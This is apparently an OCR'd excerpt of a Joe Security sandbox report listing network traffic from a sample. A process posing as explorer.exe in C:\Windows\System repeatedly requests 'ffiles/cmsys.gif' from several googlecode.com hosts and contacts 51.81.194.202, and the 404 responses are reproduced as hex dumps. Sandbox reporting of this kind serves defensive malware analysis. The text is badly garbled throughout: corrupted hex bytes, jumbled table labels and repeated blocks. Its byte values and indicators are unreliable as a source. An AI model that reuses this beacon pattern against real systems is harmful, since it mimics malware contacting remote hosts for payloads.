img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 1455 IN
09:10:24.008917093
CEST
Session ID Source IP Source Port
19 192.168.2.4 49793
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1466 ouT
09:10:26.143997908
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:23 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 1467 IN
09:10:26.171617985
CEST
Session ID Source IP Source Port
2 192.168.2.4 49782
. kBytes . .
Ti Di
imestamp transferred irection
Session ID Source IP Source Port
20 192.168.2.4 49794
) kBytes —
Ti Di
imestamp transferred irection
Aug 5, 2022 1469 ouT
09:10:28.479887962
CEST

Copyright Joe Security LLC 2022

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:26 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

51.81.194.202 443 C:\Windows\System\explorer.exe
Data

Destination IP  Destination Port Process

142.250.145.82 80 C:\Windows\System\explorer.exe
Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: veemd03.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp T Direction
Aug 5, 2022 1470 IN
09:10:28.507208109
CEST
Session ID Source IP Source Port
21 192.168.2.4 49802
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9192 ouT
09:10:40.322120905
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:28 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp T Direction
Aug 5, 2022 9193 IN
09:10:40.348905087
CEST
Session ID Source IP Source Port
22 192.168.2.4 49803
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9194 ouT
09:10:42.379738092
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:40 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
